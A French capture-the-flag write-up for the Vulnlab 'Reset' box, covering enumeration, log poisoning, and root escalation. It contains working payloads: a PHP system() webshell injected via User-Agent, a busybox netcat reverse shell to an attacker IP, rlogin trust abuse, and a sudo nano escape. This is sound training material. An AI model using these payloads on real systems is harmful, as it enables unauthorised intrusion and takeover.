Vulnlab-Reset

🔭 Enumeration

La box Reset se présente comme une machine de niveau facile sous Linux. Au lancement d’un premier scan simple, nous obtenons les ports ouverts suivants:

En lançant un scan plus en profondeur nous obtenons un peu plus de détails. Pour cela j’ajoute l’option -sC qui utilise les scripts nmap par défaut pouvant nous donner des informations complémentaires sur les services détectés, comme les versions des logiciels, les configurations courantes, et les vulnérabilités potentielles. L’option -sT permet d’assurer une fiabilité supplémentaire lors du scan. nmap envoi un paquet SYN à la cible, si le port est ouvert, la cible répond avec un paquet SYN/ACK puis nmap renvoi un paquet ACK et ferme la connexion au port.

nmap -sC -sT 10.10.108.177
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-28 16:20 CET
Nmap scan report for reset.vl (10.10.108.177)
Host is up (0.029s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
| ssh-hostkey:
|   256 6a161fc8fefde398a685cffe7b0e60aa (ECDSA)
|_  256 e408cc5f8e56258f38c3ecdfb8860c69 (ED25519)
80/tcp  open  http
|_http-title: Admin Login
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
512/tcp open  exec
513/tcp open  login
514/tcp open  shell

A ce stade, nous avons une page de login sur le port 80. Il serait intéressant de voir ce qu’on pourrait avoir comme user possible, sachant que la page présente User/Password et une fonction Forgot The Password demandant un nom d’utilisateur.

Après quelques recherches sur netkit-rsh rexec, j’ai trouvé le dépôt Metasploit sur le script nmap permettant de trouver des potentiels credentials.

nmap -p 512 --script rexec-brute $TARGET

En récupérant les « utilisateurs », nous utilisons burpsuite afin de voir si l’un des users est correct. Le mode Sniper attack permet d’utiliser une liste et d’injecter un à un les mots pour vérifier le comportement de l’application. Il ressort qu’admin nous permet d’obtenir une réponse en json avec le nouveau mot de passe.

💡 Le mot de passe est généré à chaque requête.

Une fois le mot de passe récupéré, nous arrivons sur /dashboard.php avec un menu déroulant proposant de voir deux logs: syslog et auth.log En cliquant sur View Logs rien ne se passe. Continuons via burpsuite et examinons la requêtes.

La requête est de type POST /dashboard.php et de l’argument ffile=/var/log/auth.log. A ce moment, nous penchons pour du Log Poisoning, cette attaque s’effectue en manipulant les requêtes et les logs pour exécuter du code arbitraire (RCE), des commandes sur le serveur web ou souvent en coordination avec l’attaque LFI (Local File Inclusion). Pour ce faire et mieux comprendre comment on effectue cette attaque je vous recommande de lire c’est deux articles: Complexsecurity.io et Kwangyun Github

En comprenant mieux comment faire voici le type de requête que nous pouvons envoyer en modifiant User-Agent, File= et Le lien POST.

👣 Foothold

Log Poisoning

Host: reset.vl
Content-Length: 40
Cache-Control: max-age=0
Accept-Language: fr-FR,fr;q=0.9
Origin: http://reset.vl
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: <?php system($_GET='cmd'); ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://reset.vl/dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=u8nigcjpjlsit2dh97eqh5u4ul
Connection: keep-alive

file=%2Fvar%2Flog%2Fapache2%2Faccess.log

💡 Il est possible que la première réponse soit vide. Mais en envoyant une seconde fois nous pouvons obtenir les réponses et un visuel des logs.

Le Flag user peut être obtenu à ce stade sans reverse shell.

Reverse Shell

Le reverse shell semble indispensable pour poursuivre la résolution de la box. Pouvant injecter via User-Agent des fonctions php. Voici un dépôt intéressant autour des différents reverse shell dont les webshell à partir du Log Poisoning. Suite à plusieurs essais infructueux, nous avons finalement réussi grâce à cette modification de l’User-Agent comme ceci: <?php system('busybox nc YOURIP YOURPORT -e sh') ?>

POST /dashboard.php?cmd=id HTTP/1.1
Host: reset.vl
Content-Length: 40
Cache-Control: max-age=0
Accept-Language: fr-FR,fr;q=0.9
Origin: http://reset.vl
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: <?php system('busybox nc 10.8.3.147 4444 -e sh') ?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://reset.vl/dashboard.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=u8nigcjpjlsit2dh97eqh5u4ul
Connection: keep-alive

file=%2Fvar%2Flog%2Fapache2%2Faccess.log

Le reverse shell obtenu, nous l’upgradons pour le stabiliser et pouvoir commencer les investigations avec la commande suivante: python -c 'import pty; pty.spawn("/bin/bash")'

www-data@reset:/home$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
local:x:1000:1000:local:/home/local:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
sadm:x:1001:1001:,,,:/home/sadm:/bin/bash

Nous sommes connectés en tant que www-data et nous ne pouvons rien faire sans renseigner le mot de passe que nous n’avons pas. On remarque toutefois que le fichier /etc/passwd nous indique un utilisateur sadm. En fouillant manuellement, nous trouvons le fichier /etc/hosts.equiv. Ce fichier permet d’autoriser les hôtes ou IP autorisés pour se connecter aux services rlogin/rsh/rexec et justement l’user sadm est noté précédé d’un + ce qui signifie que cet utilisateur peut être utiliser pour se connecter au service.

💡 Comprenons comment fonctionne le service rlogin grâce à la documentation complète d’Oracle: Documentations, notamment le fichier: /etc/hosts.equiv

🔄 Lateral Movement

rlogin permet donc une authentification basée sur la confiance. Ce qui signifie qu’en créant un utilisateur du même nom, cela permettrait de se connecter sans mot de passe à la session de l’utilisateur. Essayons.

sudo useradd sadm
sudo passwd sadm
su - sadm

rlogin sadm@reset.vl

Connecté avec l’utilisateur sadm, nous regardons les process actifs avec ps aux. On aperçoit qu’une session tmux est active avec cet user, basculons sur la session pour voir ce que nous pouvons y trouver comme informations.

tmux attach -t sadm_session

La session tmux nous permet d’avoir le mot de passe en clair de l’utilisateur sadm.

🎯 Privilege Escalation

En regardant ses droits sudo avec la commande sudo -l Nous voyons qu’il est possible d’utiliser sudo /usr/bin/nano /etc/firewall.sh, combo gagnant ! sudo nano est présent dans GTFObins

L’escalade de privilège se fera en faisant ceci:

sudo /usr/bin/nano /etc/firewall.sh

^R^X
reset; sh 1>&0 2>&0

Vous êtes désormais root et n’avez plus qu’à lire le flag root présent dans le dossier /root.